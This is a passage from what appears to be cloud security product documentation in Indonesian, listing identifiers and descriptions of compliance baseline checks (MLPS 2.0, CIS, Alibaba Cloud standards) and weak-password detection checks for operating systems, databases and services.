MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Debian Linux 8/9/10

hc_iis_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan IIS

hc_informix_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Informix

hc_jboss_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan JBoss

hc_mongo_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan MongoDB

hc_mssql_djbh

MLPS Level 3: Pemeriksaan baseline kepatuhan SQL Server

hc_mysql_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan MySQL

hc_nginx_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Nginx

hc_oracle_djbh

MLPS Level 3: Pemeriksaan Baseline Kepatuhan Oracle

hc_pgsql_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan PostgreSQL

hc_redhat 6_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Red Hat Linux 6

hc_redhat_djbh_l3

MLPS Level 3 - Pemeriksaan baseline kepatuhan Red Hat Linux 7

hc_redis_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Redis

hc_suse 10_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 10

hc_suse 12_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 12

hc_suse_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 11

hc_ubuntu 14_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Ubuntu 14

hc_ubuntu_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Ubuntu 16/18/20

hc_was_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Websphere Application Server

hc_weblogic_djbh

MLPS Level 3 - Pemeriksaan Baseline Kepatuhan WebLogic

hc_win 2008_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2008 R2

hc_win 2012_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2012 R2

hc_win 2016_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2016/2019

hc_aliyun_linux_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux/Aliyun Linux 2

hc_centos 6_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan CentOS Linux 6

hc_centos 7_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan CentOS Linux 7

hc_debian_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Debian Linux 8

hc_redhat 7_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Red Hat Linux 7

hc_ubuntu_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Ubuntu 16/18

hc_win 2008_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2008 R2

hc_win 2012_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2012 R2

hc_win 2016_djbh_l2

MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2016/2019

hc_aliyun_linux_cis

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Alibaba Cloud Linux/Aliyun Linux 2

hc_centos 6_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan CentOS Linux 6

hc_centos 7_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan CentOS Linux 7

hc_centos 8_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan CentOS Linux 8

hc_debian 8_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Debian Linux 8

hc_ubuntu 14_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Ubuntu 14

hc_ubuntu 16_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Ubuntu 16/18/20

hc_win 2008_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Windows Server 2008 R2

hc_win 2012_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Windows Server 2012 R2

hc_win 2016_cis_rules

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan Windows Server 2016/2019 R2

hc_kylin_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Kylin

hc_uos_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan UOS

hc_best_security

hc_aliyun_linux

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Alibaba Cloud Linux/Aliyun Linux 2

hc_centos 6

Standar Alibaba Cloud: Pemeriksaan baseline keamanan CentOS Linux 6

hc_centos 7

Standar Alibaba Cloud: Pemeriksaan baseline keamanan CentOS Linux 7/8

hc_debian

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Debian Linux 8/9/10

hc_redhat 6

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Red Hat Linux 6

hc_redhat 7

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Red Hat Linux 7/8

hc_ubuntu

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Ubuntu

hc_windows_2008

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2008 R2

hc_windows_2012

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2012 R2

hc_windows_2016

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2016/2019

hc_db_mssql

Standar Alibaba Cloud: Pemeriksaan baseline keamanan SQL Server

hc_memcached_ali

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Memcached

hc_mongodb

Standar Alibaba Cloud: Pemeriksaan baseline keamanan MongoDB 3.x

hc_mysql_ali

Standar Alibaba Cloud: Pemeriksaan baseline keamanan MySQL

hc_oracle

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Oracle 11g

hc_pgsql_ali

Standar Alibaba Cloud: Pemeriksaan baseline keamanan PostgreSQL

hc_redis_ali

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Redis

hc_apache

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Apache

hc_iis_8

Standar Alibaba Cloud: Pemeriksaan baseline keamanan IIS 8

hc_nginx_linux

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Nginx

hc_suse 15

Standar Alibaba Cloud: Pemeriksaan baseline keamanan SUSE Linux 15

tomcat 7

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Apache Tomcat

weak_password

hc_mongodb_pwd

Kata sandi lemah: Deteksi kata sandi lemah login MongoDB (mendukung versi 2.x)

hc_weakpwd_ftp_linux

Kata sandi lemah: Pemeriksaan kata sandi lemah login FTP

hc_weakpwd_linux_sys

Kata sandi lemah: Pemeriksaan kata sandi lemah login sistem Linux

hc_weakpwd_mongodb 3

Kata sandi lemah: Deteksi kata sandi lemah login MongoDB

hc_weakpwd_mssql

Kata sandi lemah: Pemeriksaan kata sandi lemah login database SQL Server

hc_weakpwd_mysql_linux

Kata sandi lemah: Pemeriksaan kata sandi lemah login database MySQL

hc_weakpwd_mysql_win

Kata sandi lemah: Pemeriksaan kata sandi lemah login database MySQL (Windows)

hc_weakpwd_openldap

Kata sandi lemah: Pemeriksaan kata sandi lemah login OpenLDAP

hc_weakpwd_oracle

Kata sandi lemah: Deteksi kata sandi lemah login Oracle

hc_weakpwd_pgsql

Kata sandi lemah: Pemeriksaan kata sandi lemah login database PostgreSQL

hc_weakpwd_pptp

Kata sandi lemah: Pemeriksaan kata sandi lemah layanan pptpd

hc_weakpwd_redis_linux

Kata sandi lemah: Pemeriksaan kata sandi lemah login database Redis

hc_weakpwd_rsync

Kata sandi lemah: Pemeriksaan kata sandi lemah layanan rsync

hc_weakpwd_svn

Kata sandi lemah: Pemeriksaan kata sandi lemah layanan SVN

hc_weakpwd_tomcat_linux

Kata sandi lemah: Pemeriksaan kata sandi lemah konsol Apache Tomcat

hc_weakpwd_vnc

Kata sandi lemah: Pemeriksaan kata sandi lemah VNC Server

hc_weakpwd_weblogic

Kata sandi lemah: Deteksi kata sandi lemah login WebLogic 12c

hc_weakpwd_win_sys

Kata sandi lemah: Pemeriksaan kata sandi lemah login sistem Windows